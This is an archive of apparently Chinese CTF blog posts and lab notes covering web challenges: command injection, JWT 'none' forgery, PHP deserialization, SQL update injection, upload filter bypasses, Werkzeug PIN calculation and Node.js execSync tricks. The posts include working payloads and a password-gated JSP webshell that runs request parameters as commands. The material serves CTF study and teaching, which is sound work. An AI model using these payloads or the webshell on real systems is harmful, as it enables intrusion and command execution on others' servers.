也正因为查了两周的大大小小各种资料仍找不到他说的这个功能，所以才决定自己复现= =也许人家是真找到了，但可以说跟风的人都没有去验证的脑子啊……

第三步，开始污染

找到了需要污染点和怎么污染的链子，就可以开始污染了。

再来回顾一下第一步的总结，我们需要污染这两个东西

directory_view已经在上一步污染成功，那么接下来要污染的就是显示的路径。我们跟进static找一下directory_handler的引用

24-25上半学年第一次线上赛 | Writeup

Thu, 05 Dec 2024 00:00:00 +0800

Misc上课讲过就不写了= =好忙最近，如果有不会的再来群上问吧

触手可得

先看代码，首页只有这些，访问一下flag.php会发现没有内容，所以只能想办法利用下面的代码去拿到flag

很明显这里只要满足$key等于后面一大串就能拿到flag了，所以payload就是

你说上面那个什么md5是干嘛用的？你都知道这样问了，那当然是没用啦^ ^

时间管理大师

如果你是24届竞赛组成员，可以先看个代码分析的大概逻辑，不一定需要全看懂。

先看入口

这里的spl_autoload_register搜了一下其实就是注册路由，访问什么就进到什么目录下

下面的route其实就是定义访问根路径时使用的路由，这里直接定位到controllers/TimeController.php里看一下逻辑

传入进来的format被赋值给$format，并被丢到TimeModel里处理了一下，这里跟进一下TimeModel类。

可以看到$format被直接与date '+和' 2&1拼接，其中2>&1的意思是将标准错误重定向到标准输出中，意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果，最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果

这里我们假设传入进来的内容是 ';ls||，则整句代码会变成这样

date '+';ls|| 2>&1

这样执行起来的结果我们可以在自己的linux里尝试一下

会发现执行成功。但一开始我想到用 ';ls;这样的方式没有执行成功，提示权限不足，原因是因为闭合后2>&1在等待你的输入但没有得到，所以会提示权限不足。

还有另一种解法的payload是 ';ls|cat '，这样闭合后的结果如下

date '+';ls|cat '' 2>&1

原理就是将ls的输出用cat显示回来给我们，所以就能达到执行的效果

没有人比我更懂JWT

附件只有一个python文件，先看逻辑

使用flask框架，定义了secret_key，但是是随机值，应该没法爆破

并且只有下面两个路由

先来看一下/login

接收两个变量，username和password，其中username被丢到jwt里进行加密，使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息，也就是role后跟着的内容，也就是role的值，我们先记住。

/flag路由里首先会接收请求这个路由的用户所携带的jwt，然后对其进行解码后检验role的值是否是admin，是的话返回flag，不是就告诉我们只有admin才能访问

如果只按照代码的登录逻辑，没有找到可以将role值改成admin的地方。所以我们就要手动改，先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json，因为data = request.json

接着丢到jwt.io里，改成admin，然后复制被赋值完的jwt

接着我们回到刚刚的代码，注意到一个地方

这里的options被设置成了不需要验证签名和exp的值，也就是说我们可以将加密算法修改成None，这样就能达到修改了role值还能通过解码的目的。原理如下（原文点击这里查看）

这里我们需要借助一款工具，jwt_tool。下载后，可以在使用文档中查看如何使用None攻击

照着格式填进去就可以生成修改后的jwt了

这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意，根据代码，需要先写上你的用户名，再用一个空格加上jwt。这里我的用户名是1，所以结果就如下

[CTF复现]2023 强网杯 thinkshop[ping]

Tue, 19 Nov 2024 00:00:00 +0800

分析完这题，时隔一年又让我想起这句话……

thinkshop

拿到手是一个.tar文件，而且用的是amd64打包的，m1折腾了好久也没搞好debug = = debug只能本地起一个服务

构建好容器后直接把html下的附件拉下来后先访问。可以发现是个thinkphp 5.0.23搭建的商店（版本号随便打个404就能发现）

进去后什么都没有，所以分析一下入口代码。发现首页html在html/application/index/view/index/index.html

在controller目录下又找到Index.php

这里的assign是在html中注册一个变量的意思。这样就能在html里用类似下面这样的方法调用php里的变量。这种方法就是php模板

一样在view目录下，发现admin里有一个login.html，所以应该是有登陆入口。看一下路径

现在的访问路径是http://127.0.0.1:36000/public/index.php/index/index/index，所以猜测是http://127.0.0.1:36000/public/index.php/index/admin/login.html。成功访问

根据代码分析可以发现，post数据交给了一个叫do_login的地方，搜索一下

跟进找到Admin.php里

想办法看能不能登陆。这里主要是要看$adminData是怎么处理的。可以看到查找了admin表，并用cache函数尝试通过缓存获取。这里因为我们有容器，所以进到容器里看一下admin表

查一下这个被md5的密码可以得到123456。但此时如果直接拿admin和123456去登陆会发现提示错误，主要问题就在于后面这个很容易被忽略的find函数

可以看到，这个find函数直接拿post进来的用户名去find，这里可以搜一thinkphp里的下find方法

可以发现，当find里是个字符串时，会将其当作主键进行查询。一般就是第一个字段，也就是id字段，而admin显然是在username字段，因此没法查到，所以才会登陆失败。所以这里要用username=1&password=123456进行登陆

登陆进来后发现有几个操作，先进入修改看看

商品信息应该是markdown格式，可以看一下代码

在goods_edit.html里发现index/admin/do_edit

根据刚刚的经验，跟进到do_edit函数

可以发现所有修改的数据都会被这个函数处理。我们先回到html看一下。发现这个地方有一个反序化的点，在进入这个页面时会显示数据库里存放的markdown内容，就是这样调出来的

或者在首页的商品详情页面也能看到类似的反序列化调用点

搜一下可以发现thinkphp5.0.24存在反序化漏洞，5.0.23可用（点这里查看，更详细分析可以看这里）

所以接下来就是想办法修改数据库的内容从而利用这个反序列化点。

不过先不着急，返回去先看一下首页还没有看的添加功能。这里我们直接看Admin.php里的操作函数就行

先来看看do_add

首先$data可控，因为反序列化的点只对$goods[‘data’]进行，所以我们只看’data’键的操作。

在第131行可以看到直接对’data’键的值进行了序列化，我们如果在这里传入payload后存入数据库是被事先序列化一遍的，并且如果我在post时试图插入一个新的键值对，他也不会写入到goods里。显然这里不可控。

回到刚刚的edit里，发现所有post进来的东西都会被丢到saveGoods函数，跟进

可以发现这里一样是对’data’键进行事先序列化，但是到目前为止整个过程还并没有对变量$data（需要注意是变量$data而不是键’data’）的其他键值进行处理，也就是说如果我在这里插入一个键值对，是可以正常传进save函数的。我们继续跟进save

一样，整个$data进入到updatedata函数，跟进

发现直接把传进来的所有$data变量里的键都存到数据库里，并且不存在过滤，所以这里我们直接构造payload如下，尝试修改数据库

data` = 111 where id = 1#

丢到cyberchef里编码一下就开打。

但是发现直接说商品更新失败了，而且sql数据库里也没有变化

说明写入失败了。看了一下网上几篇wp说是rtrim会把空格干掉

但查询后发现rtrim函数的作用是去除末尾的空格，即便指定了第二个参数也是末尾。而且根据updatedata函数的逻辑，这里的rtrim主要目的是为了删掉sql语句中最后一个多出来的逗号，这样才能写入数据库

2024 强网杯 password game | Writeup

Tue, 05 Nov 2024 00:00:00 +0800

proxy那题是队友写的我就不记录了，不知道他后面会不会更新:https://blog.hayneschen.top/

主要想记录password game这题不听php课的每个人都会受到应有的惩罚

前面的游戏过程很简单，直接从拿到源码开始看

function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST['password']));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

比赛的时候乍一看感觉挺懵的，和传统的反序化掉用都不太一样，这里先不管反序化时的filter，先来看一下类

[靶场笔记]第二十二章

Fri, 01 Nov 2024 00:00:00 +0800

web.xml相关知识

直接来看看下面这个示例

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<!-- 配置默认servlet来处理静态资源 -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<!-- JSP Servlet 映射 -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>

第一个<servlet-mapping>里用来处理静态资源，指定根路径是/，没什么好说的。

<servlet>用来定义一个名叫jsp的类似变量一样的东西，然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断

第二个中，当访问例如诸如.jsp等在<url-pattern>定义的文件路径后，将会交由上述<servlet>中对应的“变量名”（这里就是jsp）进行处理，也就是交由org.apache.jasper.servlet.JspServlet判断

这段web.xml可以被拿来直接使用，如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml，搭配下面的jsp小马即可上线

jsp小马

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

请求：http://x.x.x.x/cmd.jsp??pwd=023&i=whoami

information_schema.tables绕过

可以用sys.schema_table_statistics_with_buffer来替换，效果是一样的

另外提一嘴题外话，如果发现or或者and等测试句没反应，有可能是服务故意为之，此时就要考虑是不是有关键字或者空格之类的被ban掉了，空格可以用%09等代替

throw new异常抛出绕过（GC绕过）

如果碰到下面这种情况

class FileHandler
{
...
...
public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}
...
...
if(isset($_GET['exp'])) {
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
}

如果你想利用这里的destruct作为触发点，会因为有一个throw new而无法触发（异常肯定优先于php执行完整个反序化过程）。因此可以参考使用GC回收机制进行绕过，进而强行在throw new之前触发destruct。

[靶场笔记]第二十一章

Thu, 31 Oct 2024 00:00:00 +0800

HTTP请求走私

在下面代码中

if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
return jsonify({
'message': f'{app.config["FLAG"]}'
}), 200

当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag

XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名

但直接修改后并没有效果，如果此时web服务器又恰好是apache，就可以考虑用CVE 2023 25690，详细用法可以参考这里

PHP session临时文件

当php生成session的同时，会在/tmp目录下生成一个带sessionID（也就是cookie里的PHPSESSION）的临时文件。如果此时有文件包含，就可以利用这点进行getshell

例如，获得到的sessionID是114514，那么临时文件路径就是/tmp/sess_114514

字符限制

写题的时候碰到了个6字符限制，也解锁了一种很新奇的rce手法，下面就记录一下这种6字符绕过的手段

>ls #写入一个名为ls的文件
* /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件，那么就能把文件名当成命令执行

要注意这里的“特定路径”。因为如果是放index.php的路径就会失败，必须是一个专门写文件的路径。

另外，不止6字符可以绕过，5字符4字符也都能绕：https://blog.csdn.net/q20010619/article/details/109206728

JWT中的RS256碰撞

打网鼎杯碰到的一个神奇的方法，可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥，然后再通过RsactfTools破解出私钥（好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD

操作案例可以看这篇wp

后缀绕过

如果代码中的后缀检测和文件上传方式是类似下面这样

$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
return false;
}
...
...
$target_file=$name
move_uploaded_file($file['tmp_name'], $target_file)

就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀，从而不会而在move_uploaded_file则会自动将/后的.去掉，从而保存shell.php文件

Smarty模板注入

各种注入方法这里讲解得更丰富一点：https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD

我主要记录一些有关smarty模板的小知识

在上面博客里讲到用下面这种方法进行命令执行

如果直接放在一个需要渲染的html里，这里的eval其实是可以省略的。具体可以看下面smarty文档的解释

这里的eval其实和string是差不多意思，只是string会创建一个临时文件再执行这个文件后返回结果（不知道这里会不会有关于string的安全问题，毕竟会写文件），而eval则是直接执行data里给的东西

也就是说当注入环境如下时，你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。

但如果是分开的，比如下面这样

controllers/FileController.php.php

2024 TKKCTF Beginner | WriteUp

Wed, 23 Oct 2024 00:00:00 +0800

学CTF要做到不会的**多搜**，碰到不会的或者没见过的名词和工具，都能在网路上找到详细的解释和教程，不会一个搜一个。多去尝试自己解决遇到的问题，所有的答案都藏在你曾经也许看都不想看的代码、报错和技术文章里，加油

Misc

你好，CTF！

flag就在pdf末尾，不解释

阿娜达瓦～

使用gif逐帧播放可以发现二维码

扫描后即可得到flag

这是什么？

在cyberchef中先解base32再解base64即可

佛说：只能四天🙏

根据提示搜索与佛论禅在线解密工具

但发现无法解密，需要输入一个密码，回到题目描述注意到这一串内容

输入即可解开

引导题

尝试复制后发现需要密码

本题解法不唯一，这里介绍两种。

方法一：搜索在线解锁工具

解锁后即可直接复制被遮盖的内容。放到cyberchef里梭哈base64即可

方法二：如果你是macOS用户，右键搜索即可，不要点拷贝

一样放到base64解码即可

小泽

下载图片后使用010editor或者文本编辑器均可，拉到最下面就能发现flag

Up and Down

将文件下载下来后，可以找到在线工具将文件二进制进行反转，下面我演示linux命令的方式进行反转

一行命令即可，本意就是反转文件二进制数据。将输出的图片打开后即可得到flag

RFID

比赛原题，直接放网上的wp

https://blog.mo60.cn/index.php/archives/2023-fjss.html

乱乱的字符

统计每个字符出现的频率，可以拼出个大概flag。但可以发现有两个字符出现的频率都是7次，也就是A和i。此时回到题目提示

猜测是AsCii这个单词，而且这样排序的话正好两个i的出现频率加起来就是7次，符合条件，因此flag就是

xujc{Ukn0w_AsCii~}

void null() {}、Chiikawa

https://x.xn–q9jyb4c/p/ctf-record-w0w/

sharkshark

安装wireshark即可打开pcapng格式的流量包，ctrl+f4可以调出搜索框，选择分组字节流+字符串多次搜索xujc，可以在一堆假flag中找到flag24.txt为trueFlag

好痛

010打开后再中间发现mp3的模板结束了，可以发现后面是zip文件头

手工分离出来，分离时再尾部还可以发现一个key

(原本作者是让做题人根据歌名来猜key，被骂了改附件了qwq) 解压压缩包后那首歌是使用MP3Stego来解码因为歌名奇怪，作者建议先改成1.mp3，然后

在cmd使用

Decode -X -P love 1.mp3

就能得到flag

2024 TKKCTF | Web入门指南

Sun, 13 Oct 2024 00:00:00 +0800

什么是Web？

日常生活中碰到的有关网络的一切，都能叫作Web。小到家庭网络，大到跨国网站前后端布局

你现在看到的这个网站，以及我们比赛用的平台，输入网址，点击回车，无数通信与网络工程原理在你看不到的地方用不到几秒的时间一通操作后，一个漂亮的网页就这样成现在你面前。而完成这一过程的所有步骤，就构成了我们所说的Web技术。

在网络安全领域，web安全技术则是你能在现实中看到的最像影视作品里黑客们在使用的技术。就像上面所说的访问网站的例子，黑客们可能出现在你任何意料之外的地方。比方说，你正在付款的淘宝网其实并不是真的，而是黑客伪造出来的1比1复刻网站；上大学后老师教了你怎么搭建一个属于自己的个人博客，结果不出两天就被不知名黑客不知道从哪挂上了各种满天飞的广告；就连你出门随身携带的手机自动连上的无密码免费wifi，可能都是黑客在监听你QQ微信的幌子。

怎么学Web？

不懂就搜(善用ai和搜索引擎，小到软件怎么使用，大到某一个庞大的知识点，可以使用多个搜索引擎，推荐google和bing)，不懂就问(大雪参必备技能—脸皮厚)

推荐blog网站: 先知社区，freebuf，Red的小屋（本站）

接下来，就让我们通过这次TKKCTF，从最最基础的几个技术，来浅入一下会令你感慨黑客们无所不能的Web安全技术，来看看这些被形容得很坏但又很酷的事情。

网站基础

我们都知道，当我们想要访问一个网站时，就需要一个网址，而网址的专业名词就叫“域名”。域名除了能带你访问你想访问网站以外，一般都带有一些其他信息，例如网站所在服务器的ip地址等等内容。这些内容我们管他叫DNS记录。为了查询到这些内容，我们就需要做一件事，也就是DNS解析。其中，本引导题的flag就藏在我们的平台域名xujclab.com的TXT记录中，快去试试吧！

对应题目：引导题

网络基础

如果你是个没有很多网络开发经验的小白，肯定不知道什么叫Http协议。但如果仔细观察一下你现如今接触到的绝大多数网站网址最开始，都有一段这样的东西：http://

在博大精深的网络世界中，我们所看到的网站，架设在一种叫“服务器”的电脑上。它其实和我们正在使用的电脑就组成上来说没有任何不同，一样的内存，一样的硬盘，一样的芯片，最大的区别就是它为了保证它正在服务的网站能够7x24小时不间断提供功能，就7x24小时不会关机。而我们自己电脑上的浏览器，为了能让你想访问的网站的服务器准确地为我们提供服务，就需要使用一个双方电脑都看得懂的东西来互相告诉对方现在自己想干什么。这个“东西”就叫“协议”，“协议”是两台电脑都能看得懂的内容，一种约定俗成的格式，于是他们就会用这个东西相互交流。而“Http协议”其实就是众多协议中我们最常见到的一个，他告诉服务器我们想要看到的网站叫什么，例如下面这个

http://redshome.top/

redshome.top是我网站的名字，而http://就是告诉服务器的我想访问redshome.top这个网站的协议

那么http协议是通过什么通信的呢？答案是“数据包”。你的电脑通过发送一个“Http数据包”来告诉服务器我们想干什么。下面这个就是一个真实的“Http数据包”

GET / HTTP/1.1
Host: ctf.xujc.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: user=admin
Accept-Language: zh-CN,zh;q=0.9
Connection: close

不用慌，让我们来看一行一行分析这个数据包里到底都是些什么东西
第一行GET / HTTP/1.1叫数据包的“请求行”，GET的意思是使用“GET”方式请求数据，也就是你在浏览器地址栏写下网址按下回车的这个操作其实就叫做一个“GET”请求，应该很好理解。中间的/代表你正访问的网站的路径，路径可以理解成网站的“文件夹”，不同的“文件夹”下自然会有不同“文件”，就对应着不同的功能。而只有一个/则称为网站的“根路径”，也就是最开始的一层文件夹。HTTP/1.1则是正在使用的http协议版本，这个不重要。

接下来几行都是同一部分，叫“请求头”。每一行都有一个名称和一个英文冒号:与后面的内容隔开。冒号前叫“属性”，冒号后叫“值”。让我们看几个比较重要的属性和值。

“Host”，这个属性是浏览器用来告诉你的运营商你想要访问什么网站或者哪台服务器用的。上面这个例子中，ctf.xujclab.com就是我们要访问的网站
“User-Agent”，这个属性是我们告诉服务器自己正在用什么浏览器的。上面这个例子中，使用的浏览器就是Safari
“Cookie”，这个属性是用来告诉浏览器我们当前登录状态的，比如服务器会判断你是否已经登录过，用什么账号登陆的，从而返回给你对应的页面。最常见的例子就是很多网站在登陆界面会问你“是否保持登录状态”或者“是否自动登录”，其实就是用这个属性来储存的

其他属性暂时还不需要用到，如果有兴趣可以再去自行了解。

那么现在就有了个新的问题，我们要怎么截获浏览器发送出去的数据包呢？这里就要用到一个工具，叫burpsuite

具体怎么安装这个工具可以到群上提问或者自行去网上搜搜

以及什么是HTML，是怎么让我们的网站变得这么丰富多彩的？可以参考这篇：https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics

对应题目：黑客新手训练营

持续更新……

[靶场笔记]第二十章

Mon, 23 Sep 2024 00:00:00 +0800

$_SERVER[‘QUERY_STRING’]

接收url中?后面面的内容，如果你传index.php?a=1&b=2，此时这个变量就是a=1&b=2

||替代or

在盲注时可以用

file_get_contents($text,‘r’)

写题的时候看到的….原句如下

file_get_contents($text,'r')==="welcome to the 504sys"

研究后发现这个’r’并没有什么用，直接data:text/plain,welcome to the 504sys秒了

flask_pin

经常在flask题碰到/console路径下的命令执行界面，但不知道怎么利用，刚好碰到一题，记录一下

/console是werzeug带的，需要在flask的debug模式下才有这个页面

需要结合文件读取，将下面带注释的地方贴上从靶机读出来的内容即可

import hashlib
from itertools import chain
probably_public_bits = [
'root',# username,读/etc/passwd或/proc/1/environ
'flask.app',# modname，默认
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径，在flask报错页面就有
]
private_bits = [
'2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33（eth0）/address
'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

有关flask pin码的生成分析可以看这里，Werkzeug更新带来的Flask debug pin码生成方式改变看这里

红包题第四期WP-答案竟在派蒙中

Sun, 22 Sep 2024 00:00:00 +0800

Misc-答案竟在派蒙中

解题过程：

FLAG1:

根据题目提示把派蒙拉开，全选后可以看到有白色字符被选中

更改颜色后是一串以等号结尾的编码

解码得到flag

FLAG2:

文档的内容可以确定没有挖掘的内容了，接下来对文件本身进行分析

可以用010editor工具进行分析结构

由于docx文件的本质其实是zip压缩文件，但504B0506（zip文件的结束标志）之后依然有数据可以判断文件后方被写入的隐写文件（出题人当时傻逼了忘了是怎么藏的来着，记成是放里面了）

kali的binwalk指令也可以得到一样的结果

可以在010中手动分离文件，也可以用foremost分离

(注意这种压缩包套娃的题binwalk -e有几率出现分不出来的情况所以这里用foremost)

分离后的压缩包解压得到小恐龙一只

这里可以用cat指令查看文件（同理010editor或者记事本打开也可以看到信息）

另一个以等号结尾的编码，根据特征判断是base32编码

解码后得到类flag格式的玩意

由于格式相近推测是凯撒移位加密枚举后得到flag

尾注：

关于base家族的特征和其它编码推荐一篇文章

https://cloud.tencent.com/developer/article/1748394

https://www.bilibili.com/video/BV1GJ411x7h7

[靶场笔记]第十九章

Sun, 30 Jun 2024 00:00:00 +0800

call_user_func

在官方文档中有这种用法

<?php
namespace Foobar;
class Foo {
static public function test() {
print "Hello world!\n";
}
}
call_user_func(__NAMESPACE__ .'\Foo::test');
call_user_func(array(__NAMESPACE__ .'\Foo', 'test'));
?>

这个函数可以直接调用类中的静态方法，比如

call_user_func('Foo::test');

update注入

一种比较少见的sql注入

具体用法如下

如果不加where条件就能把整个字段的值都改掉，一般碰到改价格买东西的题目就会用到

如果碰到像上面这张情况可以用大小写同时用的方法绕过（不得不说对SQL注入的过滤用黑名单真的是很傻的办法= =）下面是一个payload示例

1';UPdATE%09items%09SeT%09price=1;#

%09是tab，堆叠+大小写混用就能用了

python urllib头注入

一个16年的漏洞，影响版本是python 2.7.16以下和python 3.7.3以下。

以下面这个场景为例

import urllib2
import sys
url=sys.argv[1]
result=urllib2.urlopen(url)
print result.read()

在url被赋值http://127.0.0.1时，服务端会接收到一个正常的http请求包。但如果赋值是http://127.0.0.1/%0d%0a123时，则会被换行插入一个123，如下图

漏洞原理是urllib在解析url时。接受URL编码的值。会包含在HTTP数据流中

因此我们就可以利用这点来实现对内网服务的CSRF，比如在内网的redis，就能通过这点来实现修改账号密码

python命令行参数接收

在看头部注入的wp时学到的，以下面这段代码为例

#1.py
import urllib2
import sys
url=sys.argv[1]
result=urllib2.urlopen(url)
print result.read()

在命令行中输入python 1.py http://127.0.0.1/，url的值就会被赋上http://127.0.0.1/

关于 Content-Type:application/x-www-form-urlencoded 和 Content-Type:multipart/related

这里记录一个链接 https://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html

127.0.0.1和0.0.0.0的区别

直接上结论，127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。

CISCN 2019华北Day1 web1

Fri, 28 Jun 2024 00:00:00 +0800

一道很适合新手入门完整网站项目漏洞挖掘的题目，网上wp多半只讲了利用链和exp，我会从网站逻辑开始分析并写得尽量详细易懂，同样适合新手入门

复现靶场为nssctf，https://www.nssctf.cn/problem/2 搜题号应该也能搜到

文件获取

拿到页面后是个登录框，先注册一个账号登进去看看

进来后是个文件管理的界面

随便传个文件

这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果，所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来

成功读取。照着这个方法把几个已知页面的代码都读一遍

网站代码逻辑

因为代码比较多，所以这里我这里先介绍一下网站的主要实现逻辑

我的习惯是从主界面也就是index.php开始看调用，在index.php中可以发现下面这段

进入到class.php，查看一下Filelist类

class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

从构造函数开始，会发现这里传入了一个path形参

SECCON Beginners CTF 2024

Sun, 16 Jun 2024 00:00:00 +0800

打seccon的第一年，为了队友的日本旅行梦，跟他们爆了！

WEB

ssrforlfi

主要代码如下

import os
import re
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def ssrforlfi():
url = request.args.get("url")
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
try:
# RCE ?
proc = subprocess.run(
f"curl '{url}'",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout ;("
if proc.returncode != 0:
return "Error ;("
return proc.stdout
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=4989)

其实一开始看到这即过滤localhost又过滤file://的思路很容易被带着跑，就想着要怎么通过域名打ssrf。但是如果仔细看就会发现就算我现在有办法访问到127.0.0.1或者localhost也无济于事，根本不知道下一步要干嘛

[靶场笔记]第十八章

Mon, 03 Jun 2024 00:00:00 +0800

require绕过

这两天刚开始学nodejs，已知require('child_process').exeSync('ls')是用来执行指令的，但有时候require并不存在上下文，也就是说require有可能并没有被定义

所以就会用global.process.mainModule.constructor._load('child_process').execSync('uname -a')替代require

execSync绕过

有好几种方法

方法一：函数平替

其中execFileSync只能执行ls之类，他cat不了文件

方法二：数组绕过

直接看payload

//注意这里连接require方法和execSync属性之间没有'.'
require('child_process')['e'%2b'xecSync']('cat f*')

方法三：fs模块

//列出当前目录下的文件
require('fs').readdirSync('./')
//直接读文件
require('fs').readFileSync('fl001g.txt','utf-8')

__filename

js中用来返回当前模块文件的绝对路径

js类型比较

先看实例代码

为了拿到flag就必须满足a和b长度一致，a输出结果和b不相等，a和flag相加与b和flag相加相等三个条件。

有三种方法

第一种是a[]=1&b[]=1。这里的原理和php中不一样，这是js中!==这一运算符（也叫”严格不相等“）的特性（[参考链接](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_inequality#%E7%A4%BA%E4%BE%8B)），在比较对象时不管传入的值是什么他们总是不相等的

之后来到后面的md5中与字符串相加，结果都是[Object object]flag，因此通过

第二种方法的原理和上面一样，payload是？?a[a]=1&b[b]=1

第三种是?a[1]=1&b=1，这种方法能行的原因是，在req.query接受到a[1]是，会将它当成一个数组，也就是a=[1]，此时a的类型是object，和b的number不一致，所以严格比较通过。在md5中a直接与字符串相加时，会把数组中的默认下标为0的值与字符串相加，此时就会得到1flag。b就更是1flag了，因此通过

Function函数

在nodejs中，这个函数可以拥有和eval()一样的利用价值，具体可以看下面这个例子（参考链接）

也就是他的参数可以是一个return并被执行，所以就可以构造成

